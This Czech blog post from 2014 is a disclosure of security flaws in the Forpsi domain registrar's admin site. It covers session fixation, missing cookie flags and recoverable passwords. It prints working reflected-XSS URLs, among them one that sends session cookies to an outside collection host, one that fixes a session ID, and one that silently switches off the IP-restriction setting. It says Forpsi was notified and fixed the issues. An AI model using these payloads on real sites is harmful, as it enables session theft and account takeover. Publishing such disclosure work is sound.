Zpět na seznam článků     Číst komentáře (5)     Verze pro tisk

Forpsi nám opět namíchalo nechutný koktejl zranitelností

Autor: .cCuMiNn.   
25.8.2014

Když jsem byl před časem s FORPSI v kontaktu, dostalo se mi ujištění, že při vývoji jejich nových aplikací budou na zabezpečení klást veliký důraz. Pokud má být výsledkem jejich aktuální webová aplikace, tak Bůh ochraňuj naše domény. Forpsi to za něj totiž asi neudělá.


Vulnerable routerV pondělí 11.8.2014 vyšel na serveru Pooh.cz článek upozorňující na nedostatečné zabezpečení hesel uložených v databázi Forpsi. Při té příležitosti jsem si vzpomněl, že na stejnou záležitost jsem Forpsi již v roce 2011 také upozorňoval, když jsem psal článek Domény ohroženy. Tehdy se mi na mé upozornění dostalo odpovědi:

Vaše doměnka není správná. To, že zasíláme hesla mailem, přeci ještě nemusí nutně znamenat, že jsou hesla v databázi uložena v plain textu. Jak jsem Vám již jednou psal, hesla jsou v databázi uložena v zakryptované podobě. Není to žádný hash, ze kterého nelze heslo získat, ale jsou zakryptována tak, aby je bylo možné zase zpět dostat. Myslím si, že to není nic neobvyklého a jistě nejsme jediní, kteří podobný způsob využívají a svým zákazníkům zasílají původní hesla.
Ani si nemyslím, že by to bylo nějaké velké bezpečnostní riziko. Dekryprovací procedura samozřejmě není uložena někde na serveru s databází, ale je odděleně. Pokud by došlo k úniku dat z databáze, bylo by snažší prolomit hesla uložená v hashi než dekryptovat hesla zakryprovaná pro útočníka neznámou kryptovací metodou.
Navíc Vám uvedu příklad, kde by vygenerování nového hesla při žádosti o jeho zaslání bylo pro naše zákazníky velice nepraktické. Tímto příkladem jsou hesla k databázím webů. Pokud by si zákazník nechal přeposlat heslo k databázi a my bychom ho při tom změnili, tak by mu přestal fungovat web, který se k databázi připojuje, do doby, než by změnil heslo v připojovacím scriptu na webu.
Proto máme hesla uložena v databázi zakryptovaně tak, abychom se mohli pomocí dekryptovací metody k heslům v případě potřeby dostat.


Situace mi také připomněla jeden z následujících e-mailů, ve kterém jsem byl ze strany Forpsi ujištěn o tom, že Při vývoji nových aplikací a webů budeme na zabezpečení klást veliký důraz., což je jistě velice záslužné, ale předpokládal jsem, že se Forpsi podívá i na zabezpečení svých současných systémů, ve kterých je spravována většina českých domén. Forpsi už nejednou ukázalo, že dokáže být velice nevypočitatelným kuchařem, jehož pokrmy mohou leckomu připadat velice hořké, viz. například již zmiňovaný článek Domény ohroženy nebo Forpsi umožňuje převzetí kontroly nad libovolnou doménou.

Protože i já mám své domény spravovány společností Forpsi, není se čemu divit, že mě zajímá, zda jsou u ní má data v bezpečí. Po dlouhé době jsem se tedy podíval, zda k nějakým změnám u FORPSI došlo, a zda se již o svůj účet nemusím strachovat. No a co myslíte, jak to dopadlo?

Kuchař webové aplikace Forpsi.com nám i tentokrát namíchal poměrně zajímavý koktejl. Pro jeho základ použil sessions, které sice nemají žádné obranné mechanismy pro únos sezení, zato ale mají možnost session zafixovat. Kuchař dále přidal cookies bez jakýchkoli bezpečnostních příznaků a vše nakonec ještě okořenil množstvím XSS zranitelností. Kombinace uvedených ingrediencí dala vzniknout poměrně nechutnému koktejlu, který vydává uživatelské účty napospas kyberzločincům.

Co naplat, že jsou již jednotlivé formuláře ošetřeny proti CSRF, použití Clickjackingu je (na dnešní dobu již naprosto nedostatečně) znemožněno pomocí JS Frame Killeru, a že uživatelé mají možnost přístup ke svému účtu omezit jen na vybrané IP adresy, když obsažené Cross-Site Scripting zranitelnosti všechny tyto ochrany degradují do pozice pouhých pozorovatelů. Pojďme se na možnosti zneužití schválně podívat blíže.

Session Fixation

O Session fixation jsem psal dříve například ve spojitosti s webmailem Volny.cz. Při zneužití této zranitelnosti jde o to, že se útočník pokusí podstrčit své oběti hodnotu SID a následně jen vyčká na chvíli, kdy se uživatel s tímto podstrčeným SID přihlásí. Útočník díky tomu nemusí identifikátor sezení své oběti krást, neboť mu je jeho hodnota známa.

Poměrně snadným se tento útok stává ve chvíli, kdy je identifikátor session předáván v URL. V takovém případě stačí útočníkovi pouze vhodným způsobem předložit své oběti připravený odkaz. Horší situace nastává pro útočníka ve chvíli, kdy je SID předáván prostřednictvím cookies. V takovém případě je vhodné otestovat, zda předání stejnojmenné proměnné v URL nezpůsobí přepsání SID uložené v cookies. Forpsi předává SID pomocí cookies, a jeho přepsání prostřednictvím URL nefunguje. Jedinou možností jak SID nastavit je tedy Cross-Site Scripting.

Obrana je přitom poměrně jednoduchá, stačí uživateli po úspěšném přihlášení vygenerovat nový SID, což Forpsi nedělá. Forpsi dokonce uživateli nevymaže cookies s identifikátorem ani ve chvíli, kdy uživatel klikne na odkaz pro odhlášení a SID tak uživateli zůstává stále stejné po celou dobu platnosti cookies (která je nastavena téměř na měsíc).

Cross-Site Scripting

Se zranitelnostmi XSS na webu Forpsi kuchař v žádném případě nešetřil. Stačí, abychom si jednu z nich vybrali, např.
https://admin.forpsi.com/domain/domains-renew.php?id=1&key=<script>alert(document.domain)</script>


Co injektovaný skript vykoná, je pak již čistě v rukou útočníka. Nabízí se například tyto varianty útoku:

Session Fixation s využitím XSS

Protože se nám na Forpsi.com nepodařilo zafixovat SID jinými metodami, musíme si pomoci JavaScriptem. Níže uvedený kód nastaví u oběti session identifikátor na hodnotu aaabbbcccddd.

https://admin.forpsi.com/domain/domains-renew.php?id=1&key=<script>document.cookie="session=aaabbbcccddd; expires=Thu, 01 Jan 2020 00:00:00 GMT; domain=.forpsi.com; path=/";</script>

Nezáleží při tom na skutečnosti, zda je uživatel přihlášen nebo ne. Ve chvíli, kdy se oběť přihlásí, bude využívat stále stejný SID a útočník tak může tohoto útoku využít i později, až k přihlášení uživatele dojde. Výhoda oproti Session Hijackingu je hlavně v tom, že můžeme cookies nastavit neomezenou dobu trvání a nemusíme se tím pádem bát toho, že se SID po jednom měsíci změní.


Session Hijacking

Nastavovat oběti vlastní SID není vlastně ani nutné, když nám stačí ukrást aktuální identifikátor. Forpsi přístupu ke cookies využitím JavaScriptu nijak nebrání, i když by byla ochrana velice jednoduchá - stačilo by pouze nastavit cookie příznak httpOnly. Zrovna tak by neuškodilo vynutit si šifrované spojení a zakázat přenášení cookies nešifrovaným kanálem. To už bychom ale po Forpsi chtěli asi hodně.

Díky tomu, že Forpsi nekontroluje, zda se změnil prohlížeč přihlášených uživatelů, nebo jejich IP adresa, je únos sezení snad tím nejsnazším řešením, jak uživatele připravit o jejich účet. Stačí tento jednoduchý kód, který nám SID odešle prostřednictvím projektu GET2MAIL.

https://admin.forpsi.com/domain/domains-renew.php?id=1&key=<script>document.write("<img src='http://www.soom.cz/projects/get2mail/none.php%3Fid%3Dxxxxxxxxxx%26cookie="%2BencodeURI(document.cookie)%2B"'");</script>

Během tohoto útoku nemusí být uživatel přihlášen. Díky výskytu Session Fixation totiž už víme, že se ukradený identifikátor hned tak nezmění.


Omezení přístupu k účtu pouze na konkrétní IP adresy

Je vidět, že se Forpsi pokoušelo i o nějakou tu ochranu před únosem sezení nebo aby zabránilo v přístupu zločincům, kteří se zmocní přihlašovacích údajů. Uživatelé tedy mají možnost nastavit si pouze určité IP adresy, ze kterých se lze k účtu přihlásit. Bohužel díky XSS zranitelnostem postrádá tato funkčnost trochu smysl, protože útočník může seznam IP adres snadno pozměnit a v konečném důsledku tak může zablokovat i přístup právoplatným vlastníkům účtu.

Forpsi při ochraně před CSRF (což uvádí v chybovém hlášení, ale jde spíše o ochranu před Clickjackingem) využili vedle tokenů také JS ochranu, která při pokusu o načtení stránky do rámu

https://admin.forpsi.com/domain/domains-renew.php?id=1&key=<iframe src='https://admin.forpsi.com/client/settings.php'></iframe>

začne takhle hezky řvát:


Stačí však přidat k prvku iframe atribut sandbox a ochrana se poslušně odebere do věčných lovišť:

https://admin.forpsi.com/domain/domains-renew.php?id=1&key=<iframe src='https://admin.forpsi.com/client/settings.php' sandbox=''></iframe>

Nyní již zbývá jen přistoupit JavaScriptem do obsahu rámu, odškrtnout v něm políčko zapínající hlídání IP adres a formulář programově odeslat. Abychom ale mohli do rámu přistoupit a měli možnost formulář odeslat, musíme tyto vlastnosti rámu nejprve povolit nastavením voleb allow-forms a allow-same-origin v atributu sandbox.

Kód, který se postará o zbytek, vložíme jako ovladač události onload, abychom měli jistotu, že při jeho spuštění bude formulář v rámu již načten.

if (fooifr.document.getElementById('ipblock_enabled').checked) {
  fooifr.document.getElementById('ipblock_enabled').checked=false;
  fooifr.document.forms[0].submit();
}

Výsledný kód by tedy vypadal nějak takto:

https://admin.forpsi.com/domain/domains-renew.php?id=1&key=<iframe src="https://admin.forpsi.com/client/settings.php" name="fooifr" sandbox="allow-forms allow-same-origin" onload="if (fooifr.document.getElementById('ipblock_enabled').checked) {fooifr.document.getElementById('ipblock_enabled').checked=false;fooifr.document.forms[0].submit();}"></iframe>


Při tomto útoku je již potřeba, aby byla oběť v době útoku ke svému účtu přihlášena.

Změna e-mailové adresy = získání hesla

Obdobným způsobem může útočník přidávat do cizího účtu také nové uživatele, nebo měnit data u těch stávajících. Po krádeži účtu a změně e-mailové adresy si útočník také může nechat zaslat zapomenuté heslo na novou adresu. A teď se podržte, nedochází k zaslání náhradního hesla, nebo odkazu na stránku s možností nastavení nového hesla, ale k zaslání hesla původního! A co na to Forpsi? Myslím si, že to není nic neobvyklého a jistě nejsme jediní, kteří podobný způsob využívají a svým zákazníkům zasílají původní hesla. Ani si nemyslím, že by to bylo nějaké velké bezpečnostní riziko.

Závěr

Tak co? Jak vám koktejl, který nám společnost Forpsi namíchala, chutnal? Chápu, že každý má jiné chutě a proto třeba někteří z vás přesně tuto příchuť vyhledáváte a užíváte si jí. Pro ostatní je ale tahle příchuť jistě až příliš trpká a hořká. Děkujeme ti Forpsi, ale tenhle koktejl je pěkně nechutnej.

Na všechny výše uvedené problémy byla společnost Forpsi upozorněna a dnes by již žádný z výše uvedených postupů neměl být funkčí, viz.:
Vážený pane Kümmele,
ještě jednou Vám děkujeme za Váš zájem o zabezpečení našich služeb a za Vaše náměty, které jste nám předal. Chtěl bych Vám sdělit, že k dnešnímu dni jsme zajistili nápravu ve všech oblastech, které zmiňujete, a že jsme se rovněž rozhodli respektovat většinu Vašich doporučení.
...


Přesto, že se tímto zabezpečení na Forpsi o mnoho zlepšilo, neznamená to bohužel, že by se na webu již nedala žádná chybička najít. O nich ale třeba zase až někdy příště.


Poznámka: Tímto článkem jsem se v žádném případě nesnažil říci, že by Forpsi byla tím nejhorším registrátorem u nás. To v žádném případě. Podobným chybám se totiž bohužel nevyhýbají ani další naši registrátoři. Forpsi jsem si vzal na mušku pouze proto, že se stará i o mé domény, a já bych byl moc rád, kdyby začalo platit jejich tvrzení: Při vývoji nových aplikací a webů budeme na zabezpečení klást veliký důraz.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.46/54

1  2  3  4  5    
(známkování jako ve škole)